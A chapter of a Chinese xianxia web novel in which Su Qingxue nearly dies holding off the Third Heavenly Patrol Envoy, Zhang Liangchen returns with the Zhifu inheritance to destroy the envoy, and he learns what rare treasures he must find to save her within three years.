首页
第九十章 第三件事:联姻?
返回
关灯 护眼:关 字号:小

第九十章 第三件事:联姻?

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第九十章第三件事:联姻?(第1/2页)
    虚无之海边缘,金光与白光如同两股决堤的洪流,在灰蒙蒙的死亡迷雾中轰然对撞,爆发出毁天灭地的巨响!
    苏晴雪白衣如雪的身影,在那十一道散发着恐怖金芒的身影面前,渺小如萤火。狂风卷起她的衣袂,猎猎作响,几缕散落的发丝贴在苍白却决绝的脸颊上。她没有回头,甚至没有去看身后那撕心裂肺的嘶吼,只是将体内那代表着“变数”的本源符文催动到极致,周身爆发出前所未有的、仿佛要燃烧殆尽一切的光芒!
    “以吾之魂,燃变数之火!封!”
    清冷的吟唱,不再是往常的平静,而是带着一种玉石俱焚的决绝与凄美。她手中的雪魄剑,剑身嗡鸣,绽放出亿万道冰蓝光华,那光芒如此璀璨,竟将周遭翻滚的灰雾都映照得一片通透!剑光并非攻向敌人,而是在她与那十一道恐怖身影之间,疯狂交织、蔓延、冻结!
    咔嚓、咔嚓——
    令人牙酸的冻结声密集响起。一道横亘天地、厚达数丈、晶莹剔透仿佛由万古玄冰与最混乱的时空规则共同铸就的宏伟冰墙,以肉眼可见的速度拔地而起!冰墙之上,无数细密繁复、蕴含着“变数”真意的符文明灭闪烁,散发出一种隔绝一切、冻结时空的恐怖气息!这不仅仅是物理的屏障,更是规则的隔绝,是她燃烧本源、透支生命换来的、最强也是最后的一招——永恒冰障!
    “苏晴雪——!!!!”
    张良辰的嘶吼仿佛泣血,他看着那道单薄却无比坚定的白色背影义无反顾地冲向前方,看着她身前迅速成型的巨大冰墙,心脏像是被一只无形巨手狠狠攥住,痛得无法呼吸!他疯狂挣扎,体内刚刚因为看到值符殿而略微平息的气血再次剧烈翻腾,不顾一切地想要冲过去。
    “张师弟!不能去!”柳如烟和周若兰死死抓住他的双臂,两人眼眶通红,泪水在眼中打转,指甲几乎要掐进张良辰的肉里。柳如烟声音哽咽却异常坚定:“你去了,苏姑娘做的一切就都白费了!她是在用命为你争取时间!你看清楚!”
    “良辰哥!”李小胖也扑上来,用肥胖的身躯挡在他前面,脸上涕泪横流,“苏姐姐她……她是为了我们大家!你不能让她白白牺牲啊!”
    墨影和影没有说话,只是默默挡在张良辰身侧,用行动表明立场。赵锋、郑玄等风部弟子,以及金无敌、青木夫人等部主,全都神色肃穆悲怆地看着那道冰墙前的身影,拳头紧握,青筋暴起。他们何尝不想冲上去?但理智告诉他们,苏晴雪用生命换来的这短暂时机,是所有人唯一的生路!
    冰墙之后,苏晴雪的身影在漫天金光映衬下,显得那么孤独,那么脆弱,却又那么高大。她微微侧过头,冰蓝色的眼眸穿过正在成型的厚重冰层,最后看了一眼身后那个拼命挣扎、面目狰狞、嘶吼着她名字的青袍身影。那一眼,极快,却仿佛包含了千言万语——有不舍,有眷恋,有温柔,有歉疚,但更多的,是一种无悔的决绝。
    她的嘴角,似乎极其轻微地向上弯了弯,一个模糊的、几乎看不见的弧度。
    “快走……”无声的唇语,被淹没在冰墙彻底合拢的巨响和第三巡天使冰冷戏谑的话语中。
    “蝼蚁之光,也敢与皓月争辉?凭这堵破墙,就想挡住本座?”第三巡天使的声音如同万载寒冰,带着毫不掩饰的嘲弄与杀意。他甚至连动都没动,只是那笼罩在金色神光中的身影微微抬手。
    “嗡——!”
    虚空震颤!无数道比之前更加凝实、更加粗大、缠绕着恐怖天道符文的暗金色锁链,如同从九幽地狱探出的触手,凭空浮现,瞬间布满了冰墙之前的每一寸空间!锁链相互碰撞,发出令人神魂颤栗的金铁交鸣之声,仅仅散逸出的威压,就让远处观望的五部修士气血翻腾,修为稍弱者再次吐血。
    “既然想先死,本座便成全你。破。”
    一个冰冷的“破”字落下。
    “轰——!!!”
    数十道暗金色锁链如同发怒的金色巨龙,带着碾碎星辰、破灭万法的恐怖威势,狠狠抽击在那刚刚成型的巨大冰墙之上!
    惊天动地的爆炸!冰屑混合着碎裂的金色符文,如同最绚烂也最残酷的烟花,在灰雾中轰然绽放!足以短暂困住化神后期的永恒冰障,在第三巡天使随手一击下,竟剧烈震颤,表面瞬间爬满了蛛网般的裂纹!光芒迅速黯淡!
    “噗——!”冰墙之后,苏晴雪如遭雷击,娇躯剧震,又是一大口蕴含着冰蓝光泽的鲜血狂喷而出,染红了胸前的白衣,触目惊心。她的脸色瞬间惨白如纸,气息以肉眼可见的速度萎靡下去,原本璀璨如星辰的冰蓝色眼眸都暗淡了几分。但她死死咬着下唇,甚至将嘴唇咬破,鲜血顺着嘴角淌下,双手依旧坚定地抵在冰墙内侧,疯狂压榨着体内每一分力量,注入冰墙,修补裂纹。
    “哦?居然没碎?有点意思。”第三巡天使轻咦一声,似乎对苏晴雪能挡住他一击略有意外,但随即化为更加冰冷的杀意,“那就看看,你能撑多久。给本座,碎!”
    他手指凌空一点。
    “锵!锵!锵!”
    三道比其他锁链更加凝练、几乎化为实质、前端尖锐如神矛的暗金锁链,如同三道金色闪电,以超越神识捕捉的速度,狠狠刺在冰墙同一位置!
    “咔嚓——!!!”
    令人心碎的碎裂声响起!冰墙被刺中的地方,裂纹疯狂蔓延,瞬间扩大为一个巨大的窟窿!透过窟窿,已经能清晰看到后面苏晴雪苍白却决绝的脸,以及第三巡天使那冷漠无情的金色眼眸。
    “第三大人,此等顽抗蝼蚁,何须您亲自出手?交给属下等便是!”一名化神后期的巡天使者躬身请命,眼中闪烁着残忍与嗜血的光芒。能亲手扼杀一位如此绝色又如此坚韧的天骄,让他感到兴奋。
    第三巡天使漠然扫了一眼正在疯狂修补冰墙、气息却越来越弱的苏晴雪,微微颔首:“速战速决。本座要看到她的神魂,在业火中哀嚎万年。”
    “谨遵法旨!”十名巡天使者齐声应诺,眼中凶光大盛。他们不再保留,十人气息轰然爆发,连成一片,化神后期的威压如同十座大山,狠狠压向冰墙后的苏晴雪!十道身影,如同十颗金色流星,带着滔天杀意,从冰墙的破洞处,暴射而入!
    冰墙之内,苏晴雪独自一人,横剑于胸。雪魄剑感受到主人的决死之心,发出清越而悲鸣的剑吟。她看着那十道在瞳孔中急速放大的金色身影,看着他们脸上狰狞的杀意,冰蓝色的眼眸中,最后一丝波澜也归于沉寂,只剩下冰雪般的寒冷与决绝。
    她没有去看身后——冰墙的隔绝,已经让她感知不到后面的任何气息。但她知道,他一定还在看着,一定还在痛苦嘶吼。
    “对不起了,张良辰……这次,我不能陪你了……”
    心中无声的叹息落下,她体内那枚代表着“变数”、此刻已布满裂痕、光芒却燃烧到极致的本源符文,轰然……彻底点燃!
    “燃我魂,焚我血,逆乱阴阳,篡改天命——变!”
    不再是防御,而是最极致的爆发!最决绝的攻击!以自身所有,包括生命与神魂为燃料,强行撬动一丝天地间最本源的“变数”规则!
    “轰——!”
    苏晴雪周身燃烧起冰蓝色的火焰!那不是温度之火,而是规则之火,命运之火!她的气息在这一刻疯狂飙升,瞬间冲破化神中期的桎梏,踏入后期,并且还在攀升!但代价是,她的身体在火焰中变得透明,她的长发以肉眼可见的速度变得灰白,她的生命之火,正在急速熄灭!
    “一起……死吧!”
    她清叱一声,燃烧着冰蓝火焰的身影,化作一道决绝的流光,主动冲向了那十名巡天使者!雪魄剑划过一道凄美绝伦的轨迹,所过之处,空间冻结,规则紊乱,命运扭曲!
    “不好!她在燃烧本源和神魂!快退!”冲在最前面的巡天使者脸色大变,他从那冰蓝火焰中感受到了致命的威胁!那是一种能够扭曲他们既定命运、引发未知灾劫的恐怖力量!
    但,晚了。
    “变数·逆命斩!”
    冰冷到极致的声音响起。苏晴雪人剑合一,冰蓝火焰与剑光彻底融合,化作一道扭曲不定、仿佛不存在于当前时空的诡异剑芒,瞬间穿透了前方三名巡天使者的护体神光,从他们身体中一穿而过!
    没有惊天动地的爆炸,没有血肉横飞的场面。那三名被剑芒穿过的巡天使者,身形骤然僵在原地,脸上保持着惊恐的表情。下一刻,诡异的事情发生了——一人周身忽然燃起无名之火,惨叫都来不及发出便化为灰烬;一人体内灵力瞬间逆流,丹田轰然炸开;最后一人则仿佛瞬间经历了万载岁月,身躯急速衰老、风化,化作尘埃……
    “变数”之力,防不胜防,杀人于无形!
    “妖女!找死!”剩下七名巡天使者又惊又怒,没想到一个化神中期的女子,燃烧拼命之下,竟有如此诡异的威能,瞬间斩杀他们三人!惊怒之下,七人再不敢有丝毫保留,各种压箱底的神通、法宝,如同暴雨般朝着那道已然黯淡、却依旧倔强挺立的身影轰去!
    苏晴雪惨然一笑,面对这避无可避的绝杀,她已无力再施展第二次“逆命斩”。冰蓝火焰已经微弱如风中残烛,她的视线开始模糊,身体轻飘飘的,仿佛要融化在这片虚无中。
    “结束了吗……张良辰……活下去……”
    她最后看了一眼冰墙之后那模糊的方向,意识,沉入了永恒的黑暗。
    ……
    “不——!!!!”
    就在苏晴雪意识即将彻底沉沦的最后一刻,一声仿佛来自九幽地狱、饱含着无尽悲恸、愤怒与绝望的咆哮,如同惊雷,炸响在整片虚无之海!
    那不是从身后传来,而是……从前方,从那座巍峨古朴、散发着淡淡金光的值符殿深处,轰然传出!
    “轰隆隆——!!!”
    值符殿,那沉寂了万古的殿宇,此刻剧烈震动起来!紧闭的殿门,在无人推动的情况下,轰然洞开!无穷无尽、纯粹到极致、蕴含着煌煌天威、统御万法气息的金色光芒,如同决堤的银河,从殿门内奔涌而出,瞬间冲垮了苏晴雪以生命为代价构筑的、已经摇摇欲坠的永恒冰障,驱散了弥漫的灰雾,将方圆百里照耀得一片金黄!
    金光所过之处,那七名巡天使者轰出的恐怖神通、法宝,如同阳光下的冰雪,悄无声息地消融、瓦解!连第三巡天使那笼罩天地的威压,都被这突如其来的煌煌金光逼得微微一滞!
    “什么?!”第三巡天使第一次露出了惊容,那冷漠的金色眼眸猛地看向洞开的值符殿大门。
    金光如海,一道身影,沐浴着无尽金辉,一步步,从殿内踏出。
    正是张良辰!
    但与之前截然不同!
    他依旧穿着那身染血的青袍,但周身环绕着无数枚古朴玄奥、仿佛由大道直接勾勒而成的金色符文!那些符文缓缓流转,发出低沉而宏大的道音,与他呼吸相合,与天地共鸣。他每一步踏出,虚空都随之震颤,脚下自动生出金色的莲花虚影,步步生莲!他的气息,如同沉睡的巨龙苏醒,节节攀升,疯狂暴涨!
    化神后期巅峰……化神大圆满……半步合道!
    不,不止!那气息在突破某个临界点后,并未停止,而是继续向上冲击,带着一种统御万方、定鼎乾坤的煌煌大势,最终稳稳停在了一个让在场所有人都感到窒息、感到自身渺小如蝼蚁的境界——化神绝巅!无限逼近,甚至隐隐触摸到了那传说中的合道门槛!
    更让人心悸的是他的眼神。那双原本清澈坚毅的眼眸,此刻却是一片冰冷死寂的金色,仿佛高踞九天的神祇,漠然俯视着世间蝼蚁。唯有在目光掠过那冰墙破碎后、如同断线风筝般从空中无力坠落的白色身影时,那金色眼眸的深处,才会泛起一丝几乎无法察觉的、却足以焚天煮海的猩红与暴虐!
    “苏……晴……雪……”
    他开口,声音嘶哑,干涩,仿佛两块生锈的铁片在摩擦,每一个字都带着血的味道。他伸出手,动作看似缓慢,却瞬间跨越了空间,轻柔地,接住了那道坠落的白影。
    入手冰凉,轻若无物。苏晴雪双眼紧闭,长长的睫毛在苍白得近乎透明的脸上投下淡淡的阴影,嘴角还挂着一丝凝固的、解脱般的微笑。她身上那件白衣已被鲜血浸透,又冻结成暗红色的冰晶。她的气息微弱到了极点,生命之火如同风中的残烛,随时可能熄灭。那头原本如瀑的青丝,此刻大半化作了刺目的灰白。
    张良辰抱着她,身体不受控制地微微颤抖。他能感觉到,怀中人儿的身体正在迅速变冷,神魂如同破碎的琉璃,布满了裂痕,正在一点点消散。那燃烧本源与神魂带来的反噬,几乎将她从肉身到灵魂,彻底摧毁。
    “呵……呵呵……”低低的、令人毛骨悚然的笑声,从张良辰喉咙里溢出。他缓缓抬起头,那双冰冷死寂的金色眼眸,终于彻底被猩红的暴虐与疯狂吞噬,死死锁定了前方那十一道,不,现在只剩下八道(苏晴雪拼死斩杀三人)的金色身影,尤其是为首那笼罩在神光中的第三巡天使。
    “你们……都该死。”
    平静的语气,却比最恶毒的诅咒还要冰冷万分。话音落下的瞬间,以张良辰为中心,一股无形的、恐怖的力场轰然爆发!那不是灵压,而是一种“势”,一种“域”,一种仿佛整片天地都在排斥、厌弃、锁定那八名巡天使者的规则之力!
    “值符领域……他……他真的得到了完整传承!而且初步掌控了值符权柄!”金无敌失声惊呼,脸上充满了难以置信的震撼。身为化神巅峰,他更能感受到此刻张良辰身上那股气息的恐怖与至高无上!那不仅仅是力量的提升,更是生命层次的某种跃迁,是对某种“权柄”的初步执掌!
    第三巡天使的脸色终于彻底变了,那一直以来的冷漠与高高在上被凝重取代。他死死盯着张良辰,尤其是他周身流转的那些金色符文,以及他怀中抱着的苏晴雪,声音带着一丝不易察觉的惊疑:“值符传承……竟然真的被你得到了?还将这蝼蚁的伤势暂时稳住……不过,那又如何?强行提升的力量,不过是无根浮萍!半步合道与真正的合道之间,是天堑!更何况,本座乃局主亲封第三巡天使,执掌部分天道权柄,你……”
    “聒噪。”
    张良辰打断了他,声音依旧平静得可怕。他甚至没有再看第三巡天使,而是低下头,无比轻柔地将一缕粘在苏晴雪脸颊上的灰白发丝拂开,动作温柔得像是在对待世间最珍贵的珍宝。然后,他缓缓抬起头,目光扫过那八名如临大敌的巡天使者,最后定格在第三巡天使身上。
    “伤她者,死。”
    没有怒吼,没有咆哮,只有简单的四个字,却仿佛带着天地法则的宣判。
    他空着的左手,缓缓抬起,五指张开,对着前方虚空,轻轻一握。
    “八门轮转,值符为引。天地为锁,时空为牢——镇!”
    “嗡——!!!”
    虚空剧震!比之前苏晴雪施展时庞大了十倍、凝实了百倍的八道璀璨金锁,凭空浮现!这八道金锁,不再仅仅是灵力凝聚,其上缠绕着密密麻麻的金色符文,那些符文仿佛活物,缓缓流转,散发出禁锢灵力、冻结神魂、封锁时空的恐怖气息!休、生、伤、杜、景、死、惊、开,八门方位齐齐显现,组成一个完美无缺、勾连天地法则的玄奥阵图,瞬间将那八名巡天使者,连同他们周身百丈空间,彻底封锁!
    “什么?!完整的八门金锁阵?!”第三巡天使终于色变,他发现自己周身的空间变得粘稠如胶,动作迟滞了数倍不止!更可怕的是,体内运转如意的天道之力,竟然也受到了隐隐的压制和排斥!这怎么可能?他执掌的可是部分天道权柄!
    “破!”第三巡天使怒吼,周身金色神光冲天而起,化作无数道锋利无匹的金色光刃,疯狂切割着周围的金色锁链和凝固的空间,发出刺耳的金铁交鸣之声,火星四溅!然而,那八道金锁坚不可摧,任凭他如何攻击,只是微微震颤,光芒稍黯,却丝毫没有破碎的迹象!而其余七名巡天使者更是不堪,他们惊恐地发现,自己竟然连手指都难以动弹,如同陷入琥珀的昆虫,只能眼睁睁看着那八道金锁缓缓收紧,恐怖的挤压力从四面八方传来,让他们骨骼咔咔作响,护体神光明灭不定!
    “不!第三大人救我!”一名化神后期的巡天使者惊恐尖叫,他感觉自己的肉身和神魂都要被这恐怖的金锁碾碎了!
    “救你?”张良辰冰冷的目光落在他身上,嘴角勾起一抹毫无温度的弧度,“谁也救不了你们。”
    他抬起的左手,五指缓缓收拢。
    “不——!!!”
    “轰!轰!轰!轰!轰!轰!轰!”
    七声几乎不分先后的、沉闷到极点的爆炸声响起!如同七颗人形烟花,在那八道缓缓收紧的金色巨锁中央,轰然绽放!血雾、碎骨、崩散的神魂、逸散的天道之力……混合在一起,形成七团凄艳而恐怖的光团。七名至少是化神后期的巡天使者,连惨叫都没能多发出一声,便在张良辰这轻描淡写的一握之下,形神俱灭!
    静。
    死一般的寂静。
    无论是五部联军,还是远处窥探的怨灵,甚至是第三巡天使本人,都被这恐怖绝伦、霸道无匹的一幕,震慑得心神俱裂,鸦雀无声!
    挥手间,镇杀七名化神后期!这是何等恐怖的实力?这是何等霸道的手段?
    “你……你竟敢……”第三巡天使又惊又怒,他没想到张良辰得到传承后实力暴涨至此,更没想到对方出手如此狠辣果决,瞬间灭杀他七名得力属下!这不仅是打他的脸,更是对“局”主权威的赤裸裸挑衅!
    “轮到你了。”张良辰终于将目光完全聚焦在第三巡天使身上,那冰冷的金色眼眸中,猩红的杀意几乎要溢出来。他轻轻将昏迷的苏晴雪交给飞掠而来的柳如烟和周若兰,沉声道:“照顾好她。”声音嘶哑,却带着不容置疑的力量。
    柳如烟和周若兰重重点头,接过苏晴雪,迅速退到后方,与木部青木夫人汇合。青木夫人立刻上前,磅礴精纯的乙木生机源源不断渡入苏晴雪体内,暂时稳住她濒临崩溃的伤势。
    张良辰则一步踏出,与第三巡天使遥遥相对。两人之间,那八道巨大的金色锁链依旧存在,缓缓旋转,封锁一切。
    “很好。很好。”第三巡天使怒极反笑,周身金色神光如同沸腾的岩浆,疯狂涌动,那属于半步合道的恐怖威压再无保留,全力爆发,与张良辰的值符领域***撞在一起!
    “轰咔——!”
    虚空仿佛承受不住这两股恐怖力量的交锋,发出不堪重负的**,裂开一道道细密的黑色缝隙!仅仅气势对撞的余波,就逼得金无敌等人连连后退,脸色骇然。
    “蝼蚁得了些机缘,便以为能撼动天威?今日,本座便让你知道,何为真正的半步合道!何为天道权柄!”第三巡天使声音冰冷,双手在胸前结出一个复杂玄奥的印诀。随着他印诀的完成,其身后虚空,一幅朦胧而浩瀚的画卷缓缓展开——那是天道显化,规则交织,日月星辰流转,万物生灭其中!虽然模糊,却散发着至高无上、主宰一切的恐怖气息!
    “天道图录·镇!”
    第三巡天使喷出一口金色血液,融入身后画卷。那模糊的天道图录骤然清晰了数分,一股比之前强横了十倍的镇压之力轰然降临,仿佛整片天地的意志都凝聚于此,要将张良辰连同他的值符领域一同镇压、碾碎!
    “天道?”张良辰面对这恐怖的天威镇压,却突然笑了起来,笑声中充满了嘲讽与悲凉,“禁锢众生,逆乱纲常,也配称天道?今日,我便破了你这伪天!”
    他不再多言,双手猛然在胸前合十,口中诵出古老而晦涩的音节。周身的金色符文如同受到召唤,疯狂涌向他合十的双手之间,一股更加古老、更加苍茫、更加宏大的气息,自他体内,自他身后那座巍峨的值符殿中,轰然苏醒!
    “值符镇世,乾坤定鼎!破伪存真,廓清寰宇——镇!”
    “轰——!!!”
    张良辰身后,一尊高达千丈、无比模糊、却散发着统御诸天、定鼎乾坤的无上威严的金色帝影,骤然浮现!帝影看不清面容,唯有一双淡漠威严、仿佛能洞穿万古的金色眼眸,缓缓睁开,目光所及,虚空凝固,万法退避!
    帝影随着张良辰的动作,缓缓抬起了仿佛能托起星辰的巨手,对着那镇压而下的天道图录,一掌拍出!
    没有绚烂的光华,没有震耳的声响。只有最纯粹的力量碰撞,最本源的规则交锋。
    “啵——”
    一声轻微的、仿佛气泡破裂的声音响起。
    在所有人难以置信的目光中,那散发着浩瀚天威、仿佛能镇压一切的天道图录,在与金色帝影手掌接触的刹那,如同被戳破的幻影,寸寸碎裂,化作漫天金色光点,消散无踪!
    “噗——!”第三巡天使如遭重击,猛地喷出一大口金色的血液,周身神光瞬间黯淡,气息急剧跌落,眼中充满了骇然与不可思议:“不……不可能!这是局主亲赐的天道图录投影!蕴含真正的一丝天道权柄!你怎么可能……”
    “伪道权柄,也敢称真?”张良辰冷漠的声音打断了他。他合十的双手缓缓分开,向前平推。身后那尊顶天立地的金色帝影,也随之做出了同样的动作。
    “值符帝印·镇杀。”
    简单的四个字,却如同天宪。
    帝影那分开的双掌之间,一枚不过巴掌大小、却仿佛凝聚了诸天星辰、万界生灭的古老金色符印,缓缓浮现。符印之上,只有一个古朴的篆字——“值”!
    符印出现的刹那,整片虚无之海的时间仿佛都停滞了。所有怨灵、所有修士、甚至那翻涌的灰雾,都凝固了一瞬。
    然后,那枚小小的金色符印,轻飘飘地,印向了惊恐万状、试图挣扎逃遁的第三巡天使。
    “不——!局主救我——!!!”
    第三巡天使发出了绝望而不甘的嘶吼,他疯狂燃烧精血,甚至开始燃烧神魂,试图挣脱那无处不在的镇压之力,施展最强的遁法。然而,在“值”字符印面前,一切挣扎都是徒劳。那符印看似缓慢,却仿佛锁定了他的过去、现在、未来,锁定了他的每一缕气息,每一丝神魂。
    避无可避,逃无可逃。
    符印轻轻印在了他的眉心。
    时间,仿佛在这一刻定格。
    第三巡天使保持着燃烧神魂、满脸惊恐与绝望的姿势,凝固在半空。他周身沸腾的金色神光,如同被冻结的火焰,僵在那里。然后,如同风化的沙雕,从眉心那枚金色符印处开始,他的身体,连同他身上那件防御惊人的暗金长袍,无声无息地,化为最细微的尘埃,簌簌飘散。
    没有爆炸,没有惨叫。
    一位半步合道、执掌部分天道权柄、在洞真天威名赫赫的第三巡天使,就这么轻描淡写地,在那枚小小的“值”字符印下,形神俱灭,彻底从世间抹去,连一丝痕迹都未曾留下。
    静。
    比刚才更死寂的静。
    风,停了。雾,凝了。所有人的呼吸,都屏住了。
    三千五部联军,所有人都瞪大了眼睛,张大了嘴巴,如同泥塑木雕般呆立在原地,望着虚空之中,那尊缓缓消散的金色帝影,以及帝影前,那个依旧保持着双手平推姿势、周身金光缓缓内敛、脸色却苍白如纸、嘴角溢出一缕鲜血的青袍身影。
    赢了?
    半步合道的第三巡天使,连同十名化神后期的巡天使者,就这么……全军覆没了?
    被张良辰,以一己之力,镇杀了?
    不知过了多久,也许是一瞬,也许是万年。
    “赢了……我们赢了!”李小胖第一个反应过来,激动得满脸通红,挥舞着拳头,嘶声大吼,声音都变了调。
    “赢了!张公子赢了!”
    “值符传人万岁!”
    “天佑我洞真天!”
    劫后余生的狂喜,如同火山般在五部联军中爆发!无数修士激动得热泪盈眶,相拥欢呼!金无敌、青木夫人、玄冥尊者、厚德尊者、风部大长老五位化神巅峰,也是长长舒了一口气,彼此对视,眼中充满了震撼、欣慰,以及一丝难以言喻的敬畏。他们知道张良辰得到传承后会很强,但强到如此地步,挥手间镇杀半步合道,还是超出了他们的想象。
    值符传承,恐怖如斯!
    张良辰缓缓收回手,身后帝影彻底消散,周身的金色符文也隐入体内。那股浩瀚如天的气息如潮水般退去,取而代之的是一股深入骨髓的疲惫和虚弱。强行催动初步掌握的值符权柄,施展“值符帝印”,对他刚刚突破、尚未稳固的修为和重伤未愈的身体,造成了极大的负担。但他此刻顾不得这些,甚至顾不得擦拭嘴角的血迹,身形一闪,便已来到柳如烟和周若兰身边,从她们手中,接过了那个昏迷不醒、气息微弱得仿佛随时会熄灭的白衣身影。
    “晴雪……”他低声唤道,声音沙哑颤抖。小心翼翼地渡入一丝精纯的值符之力,护住她心脉和即将消散的神魂,同时看向正在全力施救的青木夫人,“前辈,她怎么样?”
    (本章未完,请点击下一页继续阅读)第九十章第三件事:联姻?(第2/2页)
    青木夫人眉头紧蹙,收回按在苏晴雪后心的手,缓缓摇头,声音沉重:“情况……很不妙。苏姑娘燃烧了本源和大量神魂,生命本源几乎枯竭,神魂碎裂,道基崩毁……若非她体质特殊,身负‘变数’之力,又有一股奇异的力量(她看了一眼值符殿方向)暂时护住了她最后一点生机,恐怕早已……即便如此,她也如同风中残烛,随时可能……油尽灯枯。”
    张良辰的心,沉到了谷底。他紧紧抱着苏晴雪冰凉的身体,感受着她微弱到几乎不可察的心跳,一股巨大的恐慌和痛楚攫住了他。
    “有什么办法?无论需要什么,无论多难,我一定要救她!”他抬起头,看着青木夫人,眼中充满了血丝和一种近乎疯狂的执拗。
    青木夫人沉吟片刻,看向值符殿:“她最后一丝生机,是值符殿中那股力量护住的。或许……值符殿中,有救她的方法。毕竟,那是值符尊者的传承之地。”
    张良辰闻言,没有丝毫犹豫,抱着苏晴雪,转身就朝值符殿冲去。此刻,什么大局,什么“局”主,什么洞真天未来,都被他抛在了脑后。他心中只有一个念头——救她!不惜一切代价救她!
    “金前辈,木前辈,诸位!请率大军于此稍候,清理战场,戒备可能残存的‘局’势力。张某去去就回!”他的声音远远传来,人已化作一道流光,没入了那金光渐敛的值符殿大门。
    金无敌等人相视点头,立刻开始指挥大军,打扫战场,布防警戒。虽然第三巡天使被灭,但“局”的威胁并未解除,谁也不知道“局”主是否会立刻有下一步动作。值符殿乃是圣地,张良辰又明显状态不稳,他们必须守好外面。
    ……
    值符殿内,景象与张良辰之前进入时并无太大不同,依旧空旷、古朴、苍凉。只是殿中央那祭坛之上,原本悬浮的混沌色光球(值符本源)光芒略显黯淡,显然之前帮助张良辰接受传承以及后来护住苏晴雪生机,消耗不小。
    张良辰小心翼翼地将苏晴雪平放在祭坛前,然后毫不犹豫地对着那混沌光球,深深一拜。
    “值符本源在上,晚辈张良辰,恳请前辈,救救她!她为护我,为护众人,燃烧本源神魂,命在旦夕!无论需要付出什么代价,晚辈绝无怨言,只求前辈施以援手!”
    混沌光球微微闪烁,一道苍老、疲惫,却温和的神念传入张良辰脑海:“痴儿……此女为你,确已倾尽所有,油尽灯枯。其‘变数’本源近乎彻底燃尽,神魂碎裂,寻常手段,回天乏术。”
    张良辰心中一紧,连忙道:“前辈,难道就真的一点办法都没有了吗?您既然能护住她最后一点生机,定有救治之法!求前辈指点!”
    混沌光球沉默了片刻,那道神念再次响起:“办法……并非没有。但,难,难,难。”
    “请前辈明示!再难,晚辈也必竭尽全力!”
    “其一,需重塑其本源。她燃烧的‘变数’本源,乃天地间最奇特的力量之一,寻常天材地宝无用。需寻得‘混沌源根’、‘命运残片’、‘时空之泪’这三样几乎只存在于传说中的神物,以其为基,配合‘值符本源’的造化之力,方有可能重聚其‘变数’本源。然,此三物,便是上古时期也极为罕见,如今更不知是否存世,又存于何方。”
    混沌源根、命运残片、时空之泪……张良辰默默记下这三个名字,眼神坚定:“晚辈定会寻来!”
    “其二,需修补其神魂。她神魂碎裂,如同摔碎的琉璃盏。寻常安魂定神之物,杯水车薪。需得以‘养魂木’之心为床,以‘九转还魂草’之液为引,再辅以‘镇魂石’日夜温养,经历漫长岁月,方有可能使其神魂碎片重新粘合,恢复如初。然,此过程凶险万分,稍有差池,便会前功尽弃,甚至可能伤及你自身神魂。”
    养魂木心、九转还魂草、镇魂石……张良辰再次点头:“晚辈明白!定会寻得!”
    “其三……”混沌光球的神念顿了顿,似乎有些犹豫,“也是最关键,也最危险的一步。即便本源重聚,神魂修补,她也可能永远沉睡,无法苏醒。因为她的‘灵’,她的‘自我’,在那场燃烧中,受到了近乎永久性的损伤。想要唤醒她,需要一种超越生死、直指本源的‘呼唤’,或者说,一种能将她碎裂的‘灵’重新凝聚的‘引子’。这‘引子’,需要与她有最深羁绊之人,以自身最纯粹、最强烈的情感与意志为燃料,点燃‘魂灯’,于无尽黑暗中,为她指引归途。此过程,对你而言,亦是凶险无比,稍有不慎,便会魂飞魄散,甚至可能被拖入永恒的迷失。而且,成功的几率……微乎其微。”
    张良辰沉默了。不是因为害怕,而是在消化这苛刻到近乎绝望的条件。前两者,虽然艰难,至少有迹可循。可这最后一步,虚无缥缈,全凭心意与运气,成功率低得令人绝望。
    但他只是沉默了片刻,便再次抬起头,目光坚定如铁,对着混沌光球,一字一顿道:“前辈,无论多难,无论希望多么渺茫,我都不会放弃。请您告诉我,该如何做?现在,我能为她做什么?”
    混沌光球似乎被他的决心触动,光芒柔和了些许:“你现在要做的,是先稳住她的状态。值符本源可暂时护住她最后一点生机不散,延缓其本源与神魂的溃散。但此非长久之计,最多只能维持三年。三年之内,你若寻不得救治之法,她将彻底魂飞魄散,真灵湮灭,再无回转之机。”
    三年……张良辰心中紧迫感骤增。他看向祭坛上昏迷的苏晴雪,看着她灰白的发丝,苍白的容颜,心如刀绞。三年,他必须在这三年内,寻得那几乎不可能寻得的神物,并完成那希望渺茫的唤灵仪式。
    “我明白了。多谢前辈。”张良辰再次深深一拜,然后走到祭坛边,轻轻握住苏晴雪冰凉的手,将体内精纯的值符之力,混合着自己的本命精元,缓缓渡入她体内,滋养着她那如同风中残烛的微弱生机。同时,他沟通值符本源,引导着那股温和而宏大的力量,形成一道淡淡的金色光茧,将苏晴雪包裹其中,进一步稳定她的状态。
    做完这一切,张良辰已是脸色惨白,气息虚浮。但他不敢过多休息,苏晴雪的时间不多了,外面还有三千联军在等待,还有“局”主这个大敌在虎视眈眈。
    他在值符殿中又搜寻了一番,找到了一些值符尊者留下的、关于那几种神物可能线索的残缺记载,以及一些疗伤、稳固神魂的丹药,小心收好。然后,他再次将苏晴雪轻轻抱起,那金色的光茧也随之移动,始终笼罩着她。
    走出值符殿,外面天色已暗(虚无之海并无真正昼夜,只是光线变化)。五部联军已在金无敌等人指挥下,肃清了残余的怨灵和可能的隐患,并布置好了简单的防御。见张良辰抱着被金色光茧包裹的苏晴雪出来,众人立刻围了上来,关切地看着。
    “张公子,苏姑娘她……”柳如烟眼眶又红了。
    张良辰摇了摇头,声音疲惫但清晰:“暂无性命之忧,但……情况很不乐观。我需要找到几种罕见的神物,才能救她。时间,只有三年。”
    众人闻言,心情都是一沉。三年,听起来不短,但对于寻找那等传说中的神物,无疑是大海捞针。
    金无敌沉声道:“张公子,需要哪几种神物?我金部库藏颇丰,或有些线索。五部同气连枝,定会全力助你寻找!”
    木青青、水无痕、厚德尊者也纷纷表态。
    张良辰心中微暖,将混沌源根、命运残片、时空之泪、养魂木心、九转还魂草、镇魂石的名字说出。众人闻言,皆是倒吸一口凉气,这些神物,他们大多只在上古典籍中见过只言片语的记载,现实中闻所未闻。
    “此等神物……怕是唯有那些自上古留存下来的绝地、秘境,或者……‘局’的核心秘藏中,才有可能存在了。”玄冥尊者抚须叹道。
    “局”的核心秘藏……张良辰眼中寒光一闪。是了,“局”主谋划万古,收集的天材地宝定然不计其数,说不定就有他需要的东西。看来,与“局”主的最终对决,不仅要为洞真天,也要为苏晴雪,必须提前了。
